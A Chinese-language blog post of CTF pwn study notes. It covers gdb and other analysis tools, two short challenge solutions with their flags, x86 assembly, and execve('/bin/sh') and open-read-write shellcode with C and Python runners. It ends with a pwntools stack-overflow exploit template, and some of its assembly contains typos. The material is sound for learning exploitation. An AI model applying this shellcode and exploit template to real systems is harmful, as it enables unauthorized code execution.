[pwn_0x01]notes&write_up

pwn: 通过二进制漏洞手段(篡改控制流)取得程序控制权

通过逆向工程分析获取漏洞

  • 静态分析工具
    • IDA Pro
    • objdump
      • objdump -d -M intel ./filename
  • 动态分析工具
    • strace(跟踪系统函数)
    • ltrace(跟踪所有函数)
  • 动态调试
    • gdb 
      • run
      • disas function name
      • break *address
      • infto breakpoint
      • info register
      • ni
      • si
      • backtrace
      • continue
      • x/wx address (w:b/h/g->1/2/8, x[1]:u/d/s/i->unsigned_int/digital/string/instruaction)
      • set &address = value
      • list
      • print val
      • info local
      • attach pid
    • gdb-peda
      • elfsymbol
        • spy function’s plt when doing ROP
      • vmmap
        • spy process mapping info and each address permission
      • readelf
        • spy section address
      • find(alias searchmem)
        • sreaching in RAM
    • qira
  • pwntools

环境搭建 顺便安装chrome及sougou输入法ipython以及配置vi使其更符合使用习惯

Write_up [0x01]

忘记截图了。。。

sysmagic

gdb打开

下断点:breakponit:0x08048720

改寄存器:set $eax = $edx

获得结果:flag:CTF{debugger_1s_so_p0werful_1n_dyn4m1c_4n4lySis!}

hw0

gdb打开

下断点:breakpoint:0x08048470

改寄存器:set $eax = 0x23333

获得结果:flag:FLAG{PWN_IS_SO_EASY!}

内存布局

参考

  • .data
    • initalized data
    • global variables and static variables
  • .bss (slock started by symbol)
    • uninitialized data
    • global variables and static variables that are initialized to zero or do not have explicit initialization in source code
  • .rodata (read only data)
    • const
  • stack
    • not maintain in executable
    • local variable
  • heap
    • nota maintain in excutable 
    • dynamic allocate memory

汇编指令x86

  • data movement
    • mov dst, src    #get content
    • lea dst, src      #get address
  • arithmetic operator
    • add dst, src
    • sub  dst,src
    • mul arg

    • div
      • div r/m8
      • div r/m16
      • div r/m32
      • eax: divdend low ->result, ecx: divisor, edx: divdend high -> remainder
    • inc dst
    • dec dst
  • control instructions
    • test
    • cmp
      • set flag: SF, ZF, PF, CF, OF and AF
      • JE Jump if Equal ZF=1
      • JNE Jump if Not Equal ZF=0
      • JG Jump if Greater(ZF=0)AND(SF=OF)
      • JGE Jump if Greater or Equal SF=OF
      • JL Jump if Less SF≠OF
      • JLE Jump if Less or Equal(ZF=1)OR(SF≠OF)
  • stack operation
    • push
    • pop
  • System Call (table)
    • EAX:system call number/ return value
    • EBX,ECX,EDX,ESI,EDI:argument
    • Instruction:int 0x80

shell code

example: execve(“/bin/sh”,NULL,NULL)

jmp sh
run: 
 pop ebx
 mov BYTE [ebx+7],0
 xor eax,eax
 mov al,11
 xor ecx,ecx
 xor edx,edx
 int 0x80
sh:
 call run
 db"/bin/sh"

orw (open read write)

    jump file
open:
    pop exb
    xor eax,eax
    mov ecx,ecx
    int 0x80
    
    mov ebx,eax
    mov al,3
    mov ecx,esp
    mov dl,0x30
    int 0x80

    mov al,4
    mov bl,1
    mov dl,0x30
    int 0x80
 
    xor eax,eax
    inc eax
    int 0x80

file:
    call open
    db 'filename',0x80
nasm a.asm -o a.o -felf32
objdump -O binary a.o code
xxd -i code

到这里再code文件里已经获得了shellcode了,获取shellcode的方式有

  • 手工汇编
  • 收集别人分享的shellcode e.g. shell-strom
  • pwntool内置
  • 渗透测试框架 CANVAS or Metasploit 生成shellcode

下面是执行shellcode的方法

C

char code[]=
"\xeb\xfe";
typedef int(*CODE)();

int main(){
    ((CODE)code)();
}
gcc test.c -o test -m32 -zexestack

Python

import ctypes
shellcode=""
#申请内存空间并写入shellcode
shellcode_buffer = ctypes.create_string_buffer(shellcode, len(shellcode))
#创建shellcode函数指针
shellcode_func = ctypes.cast(shellcode_buffer, ctypes.CFUNCTYPE(ctypes.c_void_p))
#像一个python函数一样直接调用执行
shellcode_func()

More

实际过程是通过溢出覆盖的方式写入shellcode并篡改执行流程至shellcode

Function call过程中的堆栈变化

如图示, 自行脑补

Buffer Overflow

程序没有正确检查输入数据大小导致比buffer长的数据覆盖程序其他部分影响程序执行

stack overflow

发生在stack,直接覆盖return address和arg

可利用的函数

  • gets
  • scanf
  • strcpy
  • sprintf
  • memcpy
  • strcat

将return地址覆盖为程序本身自带的shell函数或者事先在data段上写入的shellcode

操作流程

  1. 运行程序初步了解(长输入尝试)
  2. 静态分析(ida)找溢出点
  3. 动态调试(qira)确定偏移量offset及返回地址ret addr
  4. 写exploit脚本(pwntools
from pwn import *
r = remote(ip,port)
//第一次输入在bss段构造shell
r.recvuntil(recv1)
r.sendline(asm(shellcraft.sh()))
//覆盖返回地址
r.recvuntil(recv2)
r.sendline('a'*offset + /p32(ret_addr))
r.interactive()

发表评论

电子邮件地址不会被公开。 必填项已用*标注